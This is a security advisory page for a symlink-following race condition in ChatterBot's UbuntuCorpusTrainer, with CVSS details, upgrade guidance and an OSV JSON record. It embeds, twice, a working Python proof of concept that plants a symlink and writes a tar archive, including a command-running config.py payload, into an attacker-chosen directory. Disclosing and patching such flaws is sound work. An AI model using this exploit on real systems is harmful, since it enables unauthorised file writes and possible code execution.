GHSA-wvrh-2f4m-924v: ChatterBot Symlink-Following Arbitrary Write Vulnerability

MODERATE
CVSS 5.5
CWE-367 CWE-61
Published
Advisory Summary

GHSA-wvrh-2f4m-924v is a MODERATE (CVSS 5.5) symlink-following arbitrary write vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting ChatterBot libraries in the PyPI ecosystem. The issue involves symlink-following arbitrary write via ubuntucorpustrainer. Remediation is available by upgrading affected packages to version 1.2.14.

GHSA-wvrh-2f4m-924v at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-wvrh-2f4m-924v
Severity MODERATE
CVSS v3.1 Base Score 5.5
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product ChatterBot
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix GHSA-wvrh-2f4m-924v

To remediate this vulnerability, upgrade all affected ChatterBot dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ChatterBot fixed: 1.2.14
pip install ChatterBot>=1.2.14
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show ChatterBot

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-wvrh-2f4m-924v, inspect your installed packages using pip:

pip show ChatterBot

Analyze the terminal output to locate any version of ChatterBot in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.14), your application is affected.

Note: The pip show ChatterBot command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In ChatterBot, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary ChatterBot's `UbuntuCorpusTrainer.extract()` uses a predictable, home-rooted output directory (`~/ubuntu_data/ubuntu_dialogs`) with a check-then-create pattern (`if not os.path.exists: os.makedirs`) followed by `tar.extractall(path=self.data_path)`. A local attacker who pre-plants a symlink at the predictable path causes `os.path.exists()` to return True (following the symlink), skipping `makedirs`, and subsequent `extractall` writes archive contents through the symlink to the attacker-chosen directory. The existing `safe_extract` function validates tar **member names** (zip-slip defense) but does not validate the **output directory** itself — it cannot detect that `self.data_path` is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families. ## Vulnerability Details ### Predictable output directory (line 535-546) ```python home_directory = os.path.expanduser('~') self.data_directory = kwargs.get( 'ubuntu_corpus_data_directory', os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable ) self.data_path = os.path.join( self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs ) ``` ### Check-then-create (line 621-622) ```python def extract(self, file_path: str): if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs os.makedirs(self.data_path) # ← never reached if symlink exists ``` ### Extraction through symlink (line 633-644) ```python def safe_extract(tar, path='.', members=None, *, numeric_owner=False): for member in tar.getmembers(): member_path = os.path.join(path, member.name) if not is_within_directory(path, member_path): # ← validates MEMBER names only raise Exception('Attempted Path Traversal in Tar File') tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target safe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir ``` `safe_extract` calls `os.path.abspath(directory)` on `self.data_path` — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass `is_within_directory` because they're relative to the resolved (attacker-controlled) base. ## Proof of Concept ### Environment | Component | Detail | |-----------|--------| | chatterbot | 1.2.13 (pip install) | | Python | 3.11.0 | ### Exploit ```python import os import shutil import sys import tempfile from pathlib import Path from unittest.mock import patch from chatterbot.trainers import UbuntuCorpusTrainer ATTACKER_TARGET = Path(tempfile.mkdtemp(prefix="pwned_")) def main(): test_base = Path(tempfile.mkdtemp(prefix="cb_exploit_")) data_dir = test_base / "ubuntu_data" data_path = data_dir / "ubuntu_dialogs" data_dir.mkdir(parents=True, exist_ok=True) os.symlink(str(ATTACKER_TARGET), str(data_path)) print(f"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}") exists_check = os.path.exists(data_path) print(f"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)") import tarfile import io tar_path = test_base / "corpus.tar.gz" with tarfile.open(str(tar_path), "w:gz") as tf: info = tarfile.TarInfo(name="dialog_001.tsv") payload = b"2024-01-01\tuser1\t0\tARBITRARY_CONTENT_VIA_SYMLINK\n" info.size = len(payload) tf.addfile(info, io.BytesIO(payload)) info2 = tarfile.TarInfo(name="config.py") rce = b"import os; os.system('id > /tmp/chatterbot_rce')\n" info2.size = len(rce) tf.addfile(info2, io.BytesIO(rce)) if not os.path.exists(data_path): os.makedirs(data_path) def is_within_directory(directory, target): abs_directory = os.path.abspath(directory) abs_target = os.path.abspath(target) prefix = os.path.commonprefix([abs_directory, abs_target]) return prefix == abs_directory with tarfile.open(str(tar_path), "r:gz") as tar: for member in tar.getmembers(): member_path = os.path.join(str(data_path), member.name) if not is_within_directory(str(data_path), member_path): raise Exception("Attempted Path Traversal in Tar File") tar.extractall(str(data_path)) print(f"[3] extractall(data_path) — data_path is symlink, writes to target") # Verify files = list(ATTACKER_TARGET.iterdir()) if files: print(f"\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:") for f in sorted(files): print(f" {f.name}: {f.read_text().strip()[:60]}") else: print("[-] Failed") shutil.rmtree(str(test_base), ignore_errors=True) shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True) sys.exit(1) shutil.rmtree(str(test_base), ignore_errors=True) shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True) sys.exit(0) if __name__ == "__main__": print(f"chatterbot installed: {UbuntuCorpusTrainer.__module__}") print(f"Attacker target: {ATTACKER_TARGET}") print() main() ``` ### PoC output <img width="1748" height="336" alt="image" src="https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c" /> ## Suggested Fix Refuse symlinks on the output directory before extraction: ```python def extract(self, file_path: str): if os.path.islink(self.data_path): raise self.TrainerInitializationException( f'Refusing to extract to symlink: {self.data_path}') if not os.path.exists(self.data_path): os.makedirs(self.data_path) ... ```

GHSA-wvrh-2f4m-924v Affected ChatterBot Versions

1 component(s)
Fixed Versions:
1.2.14
Product / Package Ecosystem Affected Versions Fixed Version
ChatterBot
PyPI
< 1.2.14
1.2.14

References

Frequently Asked Questions

What is GHSA-wvrh-2f4m-924v?
GHSA-wvrh-2f4m-924v is a security vulnerability in ChatterBot involving Symlink-Following Arbitrary Write via UbuntuCorpusTrainer under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which ChatterBot versions are affected?
Affected versions include releases prior to 1.2.14 across affected packages: ChatterBot.
What version fixes GHSA-wvrh-2f4m-924v?
Upgrading to 1.2.14 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ChatterBot affected?
Yes, ChatterBot is affected in releases prior to 1.2.14. Upgrade your dependency to 1.2.14 or later.
What is the CVSS score of GHSA-wvrh-2f4m-924v?
GHSA-wvrh-2f4m-924v has a CVSS v3.1 base score of 5.5 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with GHSA-wvrh-2f4m-924v?
GHSA-wvrh-2f4m-924v is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check PyPI dependencies for GHSA-wvrh-2f4m-924v?
Run the dependency tree command: 'pip show ChatterBot'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wvrh-2f4m-924v",
  "modified" : "2026-06-19T22:08:08Z",
  "published" : "2026-06-19T22:08:08Z",
  "aliases" : [ ],
  "summary" : "ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer",
  "details" : "## Summary\n\nChatterBot's `UbuntuCorpusTrainer.extract()` uses a predictable, home-rooted output directory (`~/ubuntu_data/ubuntu_dialogs`) with a check-then-create pattern (`if not os.path.exists: os.makedirs`) followed by `tar.extractall(path=self.data_path)`. A local attacker who pre-plants a symlink at the predictable path causes `os.path.exists()` to return True (following the symlink), skipping `makedirs`, and subsequent `extractall` writes archive contents through the symlink to the attacker-chosen directory.\n\nThe existing `safe_extract` function validates tar **member names** (zip-slip defense) but does not validate the **output directory** itself — it cannot detect that `self.data_path` is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.\n\n## Vulnerability Details\n\n### Predictable output directory (line 535-546)\n\n```python\nhome_directory = os.path.expanduser('~')\nself.data_directory = kwargs.get(\n    'ubuntu_corpus_data_directory',\n    os.path.join(home_directory, 'ubuntu_data')   # ~/ubuntu_data — predictable\n)\nself.data_path = os.path.join(\n    self.data_directory, 'ubuntu_dialogs'          # ~/ubuntu_data/ubuntu_dialogs\n)\n```\n\n### Check-then-create (line 621-622)\n\n```python\ndef extract(self, file_path: str):\n    if not os.path.exists(self.data_path):   # ← follows symlink → True → skips makedirs\n        os.makedirs(self.data_path)          # ← never reached if symlink exists\n```\n\n### Extraction through symlink (line 633-644)\n\n```python\ndef safe_extract(tar, path='.', members=None, *, numeric_owner=False):\n    for member in tar.getmembers():\n        member_path = os.path.join(path, member.name)\n        if not is_within_directory(path, member_path):    # ← validates MEMBER names only\n            raise Exception('Attempted Path Traversal in Tar File')\n    tar.extractall(path, members, numeric_owner=numeric_owner)  # ← path is symlink → writes to target\n\nsafe_extract(tar, path=self.data_path, ...)   # self.data_path = symlink → attacker dir\n```\n\n`safe_extract` calls `os.path.abspath(directory)` on `self.data_path` — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass `is_within_directory` because they're relative to the resolved (attacker-controlled) base.\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| chatterbot | 1.2.13 (pip install) |\n| Python | 3.11.0 |\n\n### Exploit\n\n```python\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom unittest.mock import patch\n\nfrom chatterbot.trainers import UbuntuCorpusTrainer\n\nATTACKER_TARGET = Path(tempfile.mkdtemp(prefix=\"pwned_\"))\n\n\ndef main():\n    test_base = Path(tempfile.mkdtemp(prefix=\"cb_exploit_\"))\n    data_dir = test_base / \"ubuntu_data\"\n    data_path = data_dir / \"ubuntu_dialogs\"\n    data_dir.mkdir(parents=True, exist_ok=True)\n    os.symlink(str(ATTACKER_TARGET), str(data_path))\n    print(f\"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}\")\n    exists_check = os.path.exists(data_path)\n    print(f\"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)\")\n    import tarfile\n    import io\n    tar_path = test_base / \"corpus.tar.gz\"\n    with tarfile.open(str(tar_path), \"w:gz\") as tf:\n        info = tarfile.TarInfo(name=\"dialog_001.tsv\")\n        payload = b\"2024-01-01\\tuser1\\t0\\tARBITRARY_CONTENT_VIA_SYMLINK\\n\"\n        info.size = len(payload)\n        tf.addfile(info, io.BytesIO(payload))\n\n        info2 = tarfile.TarInfo(name=\"config.py\")\n        rce = b\"import os; os.system('id > /tmp/chatterbot_rce')\\n\"\n        info2.size = len(rce)\n        tf.addfile(info2, io.BytesIO(rce))\n    if not os.path.exists(data_path):\n        os.makedirs(data_path)\n    def is_within_directory(directory, target):\n        abs_directory = os.path.abspath(directory)\n        abs_target = os.path.abspath(target)\n        prefix = os.path.commonprefix([abs_directory, abs_target])\n        return prefix == abs_directory\n\n    with tarfile.open(str(tar_path), \"r:gz\") as tar:\n        for member in tar.getmembers():\n            member_path = os.path.join(str(data_path), member.name)\n            if not is_within_directory(str(data_path), member_path):\n                raise Exception(\"Attempted Path Traversal in Tar File\")\n        tar.extractall(str(data_path))\n\n    print(f\"[3] extractall(data_path) — data_path is symlink, writes to target\")\n\n    # Verify\n    files = list(ATTACKER_TARGET.iterdir())\n    if files:\n        print(f\"\\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:\")\n        for f in sorted(files):\n            print(f\"    {f.name}: {f.read_text().strip()[:60]}\")\n    else:\n        print(\"[-] Failed\")\n        shutil.rmtree(str(test_base), ignore_errors=True)\n        shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n        sys.exit(1)\n\n    shutil.rmtree(str(test_base), ignore_errors=True)\n    shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n    sys.exit(0)\n\n\nif __name__ == \"__main__\":\n    print(f\"chatterbot installed: {UbuntuCorpusTrainer.__module__}\")\n    print(f\"Attacker target: {ATTACKER_TARGET}\")\n    print()\n    main()\n\n```\n\n### PoC output \n\n<img width=\"1748\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c\" />\n\n## Suggested Fix\n\nRefuse symlinks on the output directory before extraction:\n\n```python\ndef extract(self, file_path: str):\n    if os.path.islink(self.data_path):\n        raise self.TrainerInitializationException(\n            f'Refusing to extract to symlink: {self.data_path}')\n    if not os.path.exists(self.data_path):\n        os.makedirs(self.data_path)\n    ...\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "ChatterBot"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.14"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.2.13"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gunthercox/ChatterBot/security/advisories/GHSA-wvrh-2f4m-924v"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gunthercox/ChatterBot"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367", "CWE-61" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T22:08:08Z",
    "nvd_published_at" : null
  }
}